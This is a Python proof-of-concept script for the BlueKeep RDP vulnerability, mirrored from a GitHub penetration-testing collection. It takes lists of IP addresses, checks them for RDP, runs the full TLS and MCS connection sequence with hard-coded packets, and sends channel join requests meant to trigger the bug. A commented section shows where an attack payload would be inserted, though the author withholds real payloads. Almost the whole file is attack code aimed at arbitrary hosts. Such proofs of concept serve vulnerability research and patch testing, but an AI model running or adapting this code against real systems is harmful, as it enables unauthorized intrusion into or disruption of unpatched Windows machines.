mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
428 lines
19 KiB
Python
428 lines
19 KiB
Python
import socket
|
|
import binascii
|
|
import argparse
|
|
|
|
from OpenSSL import *
|
|
from impacket.impacket.structure import Structure
|
|
|
|
|
|
# impacket structures
|
|
class TPKT(Structure):
|
|
commonHdr = (
|
|
('Version', 'B=3'),
|
|
('Reserved', 'B=0'),
|
|
('Length', '>H=len(TPDU)+4'),
|
|
('_TPDU', '_-TPDU', 'self["Length"]-4'),
|
|
('TPDU', ':=""'),
|
|
)
|
|
|
|
|
|
class TPDU(Structure):
|
|
commonHdr = (
|
|
('LengthIndicator', 'B=len(VariablePart)+1'),
|
|
('Code', 'B=0'),
|
|
('VariablePart', ':=""'),
|
|
)
|
|
|
|
def __init__(self, data=None):
|
|
Structure.__init__(self, data)
|
|
self['VariablePart'] = ''
|
|
|
|
|
|
class CR_TPDU(Structure):
|
|
commonHdr = (
|
|
('DST-REF', '<H=0'),
|
|
('SRC-REF', '<H=0'),
|
|
('CLASS-OPTION', 'B=0'),
|
|
('Type', 'B=0'),
|
|
('Flags', 'B=0'),
|
|
('Length', '<H=8'),
|
|
)
|
|
|
|
|
|
class DATA_TPDU(Structure):
|
|
commonHdr = (
|
|
('EOT', 'B=0x80'),
|
|
('UserData', ':=""'),
|
|
)
|
|
|
|
def __init__(self, data=None):
|
|
Structure.__init__(self, data)
|
|
self['UserData'] = ''
|
|
|
|
|
|
class RDP_NEG_REQ(CR_TPDU):
|
|
structure = (
|
|
('requestedProtocols', '<L'),
|
|
)
|
|
|
|
def __init__(self, data=None):
|
|
CR_TPDU.__init__(self, data)
|
|
if data is None:
|
|
self['Type'] = 1
|
|
|
|
|
|
# packing and unpacking binary data
|
|
class Packer(object):
|
|
|
|
def __init__(self, packet):
|
|
self.packet = packet
|
|
|
|
def bin_unpack(self):
|
|
return binascii.unhexlify(self.packet)
|
|
|
|
def bin_pack(self):
|
|
return binascii.hexlify(self.packet)
|
|
|
|
|
|
# PDU control sequence
|
|
class DoPduConnectionSequence(object):
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
|
|
def connection_request_pdu():
|
|
packet = "030000130ee000000000000100080003000000"
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
|
|
def domain_request_pdu():
|
|
packet = "0300000c02f0800400010001"
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247
|
|
def mcs_attach_user_request_pdu():
|
|
packet = "0300000802f08028"
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
|
|
def mcs_connect_init_pdu():
|
|
packet = (
|
|
"030001ee02f0807f658201e20401010401010101ff30190201220201020201000201010201000201010202ffff02010230190201"
|
|
"0102010102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff0201"
|
|
"0204820181000500147c00018178000800100001c00044756361816a01c0ea000a0008008007380401ca03aa09040000b11d0000"
|
|
"4400450053004b0054004f0050002d004600380034003000470049004b00000004000000000000000c0000000000000000000000"
|
|
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
|
|
"0000000001ca01000000000018000f00af07620063003700380065006600360033002d0039006400330033002d00340031003938"
|
|
"0038002d0039003200630066002d0000310062003200640061004242424207000100000056020000500100000000640000006400"
|
|
"000004c00c00150000000000000002c00c001b0000000000000003c0680005000000726470736e6400000f0000c0636c69707264"
|
|
"72000000a0c0647264796e766300000080c04d535f5431323000000000004d535f5431323000000000004d535f54313230000000"
|
|
"00004d535f5431323000000000004d535f543132300000000000"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
|
|
def client_info_pdu():
|
|
packet = (
|
|
"0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000042007200770041006600660079"
|
|
"000000740074007400740000000000000002001c00310030002e0030002e0030002e003700360000000000000000000000400043"
|
|
"003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c006d007300740073006300610078"
|
|
"002e0064006c006c000000a40100004d006f0075006e007400610069006e0020005300740061006e006400610072006400200054"
|
|
"0069006d006500000000000000000000000000000000000000000000000b00000001000200000000000000000000004d006f0075"
|
|
"006e007400610069006e0020004400610079006c0069006700680074002000540069006d00650000000000000000000000000000"
|
|
"0000000000000000000300000002000200000000000000c4ffffff0100000006000000000064000000"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4c3c2710-0bf0-4c54-8e69-aff40ffcde66
|
|
def client_active_confirmation_pdu():
|
|
packet = (
|
|
"030001be02f0807f658201b20401010401010101ff30190201220201020201000201010201000201010202ffff0201023019020101"
|
|
"02010102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff02010204"
|
|
"820151000500147c00018148000800100001c00044756361813a01c0ea000a0008008007380401ca03aa09040000ee420000440045"
|
|
"0053004b0054004f0050002d004600380034003000470049004b00000004000000000000000c000000000000000000000000000000"
|
|
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001"
|
|
"ca01000000000018000f00af07620063003700380065006600360033002d0039006400330033002d003400310039380038002d0039"
|
|
"003200630066002d0000310062003200640061004242424207000100000056020000500100000000640000006400000004c00c0015"
|
|
"0000000000000002c00c001b0000000000000003c0380004000000726470736e6400000f0000c0636c6970726472000000a0c06472"
|
|
"64796e766300000080c04d535f543132300000000000"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
def client_control_request_pdu():
|
|
packet = (
|
|
"0300003402f08064000603eb7026080081f83b8bb47256ffd1d64b171eaef68ddd75a0a316972912b7cf14c9110bd8c8faa1813a"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
def client_control_cooperate_pdu():
|
|
packet = (
|
|
"0300003402f08064000603eb7026080081f80403def791a37caf3f7a624e3bfeb67a28bf0d4f312703b94af1e626f0bdc5710a53"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2d122191-af10-4e36-a781-381e91c182b7
|
|
def client_persistent_key_length_pdu():
|
|
packet = (
|
|
"0300010d02f08064000603eb7080fe08009016cec64a69d9d3499e10a5040fcfab4f6a3bda31034f29bd643e9846ec0a1dcd9cad"
|
|
"1358a3bd8b9daef1e99d439653f5d0b75088f381f1cbad1755759c5fefeca93540b37406d1aed1159fed9149a63d1fc131b11758"
|
|
"da0e24df1f878639d14666ea0e98d04b5b7b01b98ae8683280dab958a69f4fb5ba7904aed963c06aa8815197250b3fc3d247fa0a"
|
|
"7a221fbd5f4eb800ea3206e6af15e46fb3d3c14ccb0a8edda729070359c1c1081baa563cf5d089e3cdcf268b65590acb7e81b633"
|
|
"bb4d9a1380e7572a0d1d11b418c4312f4f897709942ec38ebffd6a392b47740e1274ec4514c36b27d6b69311a4bc46de694ab454"
|
|
"c72424998f60b72159"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
def client_font_list_pdu():
|
|
packet = (
|
|
"0300003402f08064000603eb7026080080fe98195cfb9292f59718b2b7c313dc03fb6445c0436d913726fd8e71e6f22a1eae3503"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
def do_join_request(size=30, do_padding=False):
|
|
channels, pdu_channels = range(1001, 1008), []
|
|
request_packets = {
|
|
"dep": "0300000c02f080380006",
|
|
"req": "0300000c02f080380008",
|
|
"ms_t120": "4d535f5431323000000000"
|
|
}
|
|
padding = "41" * size
|
|
if do_padding:
|
|
exp = request_packets["dep"] + request_packets["ms_t120"] + padding
|
|
results = Packer(exp).bin_unpack()
|
|
else:
|
|
for channel in channels:
|
|
current_channel = request_packets["req"] + hex(channel)[2:].zfill(4)
|
|
pdu_channels.append(Packer(current_channel).bin_unpack())
|
|
results = pdu_channels
|
|
return results
|
|
|
|
@staticmethod
|
|
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
|
|
def do_client_security_pdu_exchange():
|
|
packet = (
|
|
"0300005e02f08064000603eb7050010200004800000091ac0c8f648c39f4e7ff0a3b79115c13512acb728f9db7422ef7084c8eae"
|
|
"559962d28181e466c805ead473063fc85faf2afdfcf164b33f0a151ddb2c109d30110000000000000000"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
@staticmethod
|
|
def client_synchronization_pdu():
|
|
packet = (
|
|
"0300003002f08064000603eb7022280081f859ffcb2f73572b42db882e23a997c2b1f574bc49cc8ad8fd608a7af64475"
|
|
)
|
|
return Packer(packet).bin_unpack()
|
|
|
|
|
|
class Parser(argparse.ArgumentParser):
|
|
|
|
def __init__(self):
|
|
super(Parser, self).__init__()
|
|
|
|
@staticmethod
|
|
def optparse():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-i", "--ip", dest="ipAddyList", default=None,
|
|
help="provide a list of IP addresses separated by commas, or a single IP address"
|
|
)
|
|
parser.add_argument("-f", "--file", dest="ipAddyFile", default=None,
|
|
help="provide a file containing IP addresses, one per line")
|
|
return parser.parse_args()
|
|
|
|
|
|
# constants
|
|
GIS_RDP = []
|
|
TPDU_CONNECTION_REQUEST = 0xe0
|
|
TYPE_RDP_NEG_REQ = 1
|
|
PROTOCOL_SSL = 1
|
|
SENT = "\033[91m -->\033[0m"
|
|
RECEIVE = "\033[94m<-- \033[0m"
|
|
|
|
|
|
def info(string):
|
|
print("[ \033[32m+\033[0m ] {}".format(string))
|
|
|
|
|
|
def error(string):
|
|
print("[ \033[31m!\033[0m ] {}".format(string))
|
|
|
|
|
|
# connect the sockets and return the received data plus the connection in a Tuple
|
|
def socket_connection(obj, address, port=3389, receive_size=4000):
|
|
try:
|
|
session = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
session.connect((address, port))
|
|
session.sendall(obj)
|
|
return session.recv(receive_size), session
|
|
except Exception as e:
|
|
error(e)
|
|
return None
|
|
|
|
|
|
# check if the ip is running RDP or not
|
|
def check_rdp_service(address):
|
|
rdp_correlation_packet = Packer(
|
|
"436f6f6b69653a206d737473686173683d75736572300d0a010008000100000000"
|
|
).bin_unpack()
|
|
test_packet = DoPduConnectionSequence().connection_request_pdu()
|
|
send_packet = test_packet + rdp_correlation_packet
|
|
results = socket_connection(send_packet, address, receive_size=9126)
|
|
if results is not None:
|
|
if results[0]:
|
|
info("successfully connected to RDP service on host: {}".format(address))
|
|
GIS_RDP.append(address)
|
|
else:
|
|
error("unknown response provided from RDP session")
|
|
else:
|
|
error("unable to connect")
|
|
|
|
|
|
# start the connection like a boss
|
|
def start_rdp_connection(ip_addresses):
|
|
tpkt = TPKT()
|
|
tpdu = TPDU()
|
|
rdp_neg = RDP_NEG_REQ()
|
|
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
|
|
rdp_neg['requestedProtocols'] = PROTOCOL_SSL
|
|
tpdu['VariablePart'] = rdp_neg.getData()
|
|
tpdu['Code'] = TPDU_CONNECTION_REQUEST
|
|
tpkt['TPDU'] = tpdu.getData()
|
|
for ip in ip_addresses:
|
|
try:
|
|
ip = ip.strip()
|
|
results = socket_connection(tpkt.getData(), ip, receive_size=1024)
|
|
ctx = SSL.Context(SSL.TLSv1_METHOD)
|
|
tls = SSL.Connection(ctx, results[1])
|
|
tls.set_connect_state()
|
|
tls.do_handshake()
|
|
|
|
# initialization packets (X.224)
|
|
info("sending Client MCS Connect Initial PDU request packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().mcs_connect_init_pdu())
|
|
returned_packet = tls.recv(8000)
|
|
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
|
|
|
|
# erect domain and attach user to domain
|
|
info("sending Client MCS Domain Request PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().domain_request_pdu())
|
|
info("sending Client MCS Attach User PDU request packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().mcs_attach_user_request_pdu())
|
|
returned_packet = tls.recv(8000)
|
|
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
|
|
|
|
# send join requests on ridiculously high channel numbers to trigger the bug
|
|
info("sending MCS Channel Join Request PDU packets {}".format(SENT))
|
|
pdus = DoPduConnectionSequence().do_join_request()
|
|
for pdu in pdus:
|
|
tls.sendall(pdu)
|
|
channel_number = int(Packer(pdu).bin_pack()[-4:], 16)
|
|
returned_packet = tls.recv(1024)
|
|
info("{} received {} bytes from channel {} on host: {}".format(
|
|
RECEIVE, hex(len(returned_packet)), channel_number, ip
|
|
))
|
|
|
|
# my personal favorite is the security exchange, took me awhile to figure this one out
|
|
info("sending Client Security Exhcange PDU packets {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().do_client_security_pdu_exchange())
|
|
tls.sendall(DoPduConnectionSequence().client_info_pdu())
|
|
returned_packet = tls.recv(8000)
|
|
info("{} received {} bytes from host: {}".format(
|
|
RECEIVE, hex(len(returned_packet)), ip
|
|
))
|
|
|
|
# confirm that the client is now active
|
|
confirm_packet = (
|
|
"0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000"
|
|
"2000000001d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000"
|
|
"0000000000000000000000000000000001001400000001000000aa00010101010100000101010001000000010101010101010"
|
|
"1000101010000000000a1060600000000000084030000000000e404000013002800030000037800000078000000fc09008000"
|
|
"000000000000000000000000000000000000000a0008000600000007000c00000000000000000005000c00000000000200020"
|
|
"008000a0001001400150009000800000000000d005800910020000904000004000000000000000c0000000000000000000000"
|
|
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
|
|
"000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe"
|
|
"004000fe008000fe0000014000000800010001030000000f0008000100000011000c00010000000028640014000c000100000"
|
|
"00000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b00060001001e00080001000000"
|
|
"18000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d744e803c0ecbe"
|
|
"ea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf020008000001400002010101000140"
|
|
"0002010104"
|
|
)
|
|
info("sending Client Confirm Active PDU packet {}".format(SENT))
|
|
tls.sendall(Packer(confirm_packet).bin_unpack())
|
|
returned_packet = tls.recv(1024)
|
|
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
|
|
|
|
# finish the connection sequence
|
|
info("sending Client Synchronization PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().client_synchronization_pdu())
|
|
info("sending Client Control Cooperate PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().client_control_cooperate_pdu())
|
|
info("sending Client Control Request PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().client_control_request_pdu())
|
|
info("sending Client Persistent Key Length PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().client_persistent_key_length_pdu())
|
|
info("sending Client Font List PDU packet {}".format(SENT))
|
|
tls.sendall(DoPduConnectionSequence().client_font_list_pdu())
|
|
returned_packet = tls.recv(8000)
|
|
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
|
|
|
|
# As much as I don't condone hacking and breaking into things.
|
|
# If you're going to do it, this is where you would put your payload of types.
|
|
#
|
|
# To do this you would do something along the lines of:
|
|
# -----------------------------------------------------
|
|
# tls.sendall(Packer(
|
|
# "0000000c29fbf017000c2946f8c10800450000100028021a400080060a62c0a83682c0a8002036810d3dc0080022ff5"
|
|
# "cfba05185501400300000a7910000"
|
|
# ).bin_pack())
|
|
# data = tls.recv(1024)
|
|
# print repr(data)
|
|
# -----------------------------------------------------
|
|
# Generating the payloads is hard, especially when alsr is involved with it.
|
|
# Good luck with that, I will not be sharing any of my payloads because i
|
|
# don't feel like watching the world burn yet.
|
|
|
|
info("closing the connection now, this is a PoC not a working exploit")
|
|
results[1].close()
|
|
except Exception as e:
|
|
error("unable to connect: {}".format(e))
|
|
continue
|
|
|
|
|
|
def main():
|
|
to_scan = []
|
|
opt = Parser().optparse()
|
|
if opt.ipAddyList is not None:
|
|
for ip in opt.ipAddyList.split(","):
|
|
to_scan.append(ip)
|
|
elif opt.ipAddyFile is not None:
|
|
try:
|
|
open(opt.ipAddyFile).close()
|
|
except IOError:
|
|
error("that file doesn't exist?")
|
|
exit(1)
|
|
with open(opt.ipAddyFile) as addresses:
|
|
for address in addresses.readlines():
|
|
to_scan.append(address.strip())
|
|
else:
|
|
info("python bluekeep_poc.py [-i addy1[,addy2,...]] [-f /path/to/file]")
|
|
exit(1)
|
|
for scan in to_scan:
|
|
info("verifying RDP service on: {}".format(scan))
|
|
check_rdp_service(scan)
|
|
info("starting RDP connection on {} targets".format(len(GIS_RDP)))
|
|
print("\n\n")
|
|
start_rdp_connection(GIS_RDP)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
print("""\033[34m
|
|
____ _ _ __
|
|
| _ \| | | |/ /
|
|
| |_) | |_ _ ___| ' / ___ ___ _ __
|
|
| _ <| | | | |/ _ \ < / _ \/ _ \ '_ \
|
|
| |_) | | |_| | __/ . \ __/ __/ |_) |
|
|
|____/|_|\__,_|\___|_|\_\___|\___| .__/
|
|
| |
|
|
|_|
|
|
\033[0m""")
|
|
main()
|